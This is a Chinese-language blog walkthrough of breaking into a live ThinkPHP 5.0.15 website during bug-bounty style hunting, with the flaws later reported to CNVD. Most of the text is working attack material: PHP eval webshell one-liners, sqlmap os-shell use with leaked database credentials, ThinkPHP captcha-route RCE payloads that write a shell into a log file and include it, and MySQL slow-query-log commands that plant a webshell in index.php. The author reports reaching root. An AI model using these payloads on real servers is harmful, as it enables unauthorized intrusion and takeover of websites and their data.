記一次TP框架的公益SRC挖掘
昨天的用的Druid洩露的session進後臺拿shell還是覺得不太過癮,也沒學到啥新的知識。於是乎今天又找了幾個新的網站來試試,哈哈哈哈哈哈。
這次操作純屬菜雞練手,哪些地方可以改進還希望大佬們指出一下
目標網站:tp5.0.15+php7
1 · 網站後臺並發現是tp框架
首先找到的是網站後臺,但是有驗證碼。
掃目錄的時候沒有 404.html,說明網站沒有設置統一的報錯頁面,那麼應該就可以人為製造報錯來查看框架。
果然是熟悉的tp框架,直接祭上神器碰碰運氣,看能不能碰到tp版本的漏洞
工具顯示存在多個漏洞,其中有部分屬於誤報。
2 · 嘗試獲得shell
嘗試使用工具自帶的寫馬功能,但是實際操作之後發現無法連接。下載檔案查看後發現“>” 和“<” 變成了html中的實體字元。
學過一些java,本來準備查看工具的源碼,看看是自帶的馬的問題還是傳輸到伺服器之後被轉義了。但是github上的源碼檔是空的。
工具自帶的木馬:
<?php @eval($_POST['showshell'])?>
嘗試使用工具爆出的資料庫帳號密碼加上 --os-shell 寫入shell
sqlmap -d
mysql://name:passwd@ip:port/dbs_name
最後以失敗告終。。。。。
常規使用--os-shell的前提有三個:
(1)網站必須是root許可權
直接連接資料庫查看能不能找到管理員的帳號和密碼
找到一個像是主機的帳號、密碼表。
拿到了pe_admin表中的內容後,嘗試通過ssh連接伺服器。但是發現這台伺服器並沒有ssh埠,這就很疑惑了
nmap -sV -n ip
感覺自己有點傻,為什麼不直接去網站的資料庫找網站的後臺登陸帳號密碼呢。
最後成功進入後臺管理系統,不過這後臺功能有點少啊,根本找不到上傳點。看來還得想別的辦法。
3 · 從TP框架入手
看來只能轉換一下思路,從tp框架入手了。
這裡直接 phpinfo 看一下
disable_functions()禁用了哪些函數。phpinfo的成功執行也證明是有RCE漏洞的
在嘗試了幾種方法之後發現無果,而且由於 php版本為 7.3 導致無法使用 assert 來執行命令。
自己不會沒關係,網上肯定有人會。這裡開始去網上搜各個大佬的方法。最終經過各種嘗試,把希望寄在了將馬寫在日誌或者session裡
寫入shell檔到日誌中
/index.php?s=captcha
_method=__construct&method=get&filter[]=call_user_func&server[]=-1&get[]=<?php
eval($_POST['shell']); ?>
包含日誌檔getshell
/index.php?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../runtime/log/202201/25.log&shell=phpinfo();
經測試,成功寫入shell,但是此時只有極小的許可權,並且由於
disable_function 的原因,虛擬終端無法使用。
還有一種方法是可以使用載入遠端檔的方式去包含真正的shell。孩子要是有一台伺服器就好了
4 · 通過MYSQL寫入shell
突然想起來手裡還有資料庫的帳號和密碼,可以嘗試使用mysql手動寫shell。
查看用戶及許可權
SELECT user,host FROM mysql.user;
網站的絕對路徑已經通過tp報錯頁和phpinfo拿到了
select '<?php @eval($_POST[showshell]);?>' into outfile
'D:\wwwroot\xxxxxxxx\public\index.php';
報錯是因為mysql配置的 --secure-file-priv
預設值為 null,而只有當其值非空的時候才才能使用 into oufile
寫入檔。
關於慢查詢:
當使用者操作的查詢語句超過系統的預設時間時,系統就會將此條語句紀錄到慢查詢日誌中。系統一般預設的時間是10秒
這裡我們使用慢查詢繞過
security-file-priv 寫入shell:
查詢 slow query log 狀態
SHOW VARIABLES like
'%slow_query_log%';
可以看到處於預設的關閉狀態。
啟用慢查詢:
set global
slow_query_log=1;
指定慢查詢的日誌檔路徑及檔案名,
SET GLOBAL
slow_query_log_file='
D:\wwwroot\xxxxx\public\index.php
';
寫入shell
select '<?php
eval($_GET[showshell])?>' or SLEEP(11);
成功寫入。
這裡遇到一個小問題,windows上的蟻劍和哥斯拉不知道為什麼連不上去。可能是我這邊的環境變數有問題,最後使用kali裡的蟻劍成功連接shell並獲得root許可權
最後也是一個權重為0的站交不了補天,順利提交兩個src到cnvd。雖然沒能提交到補天,不過也重在練手的過程吧。
原文網址: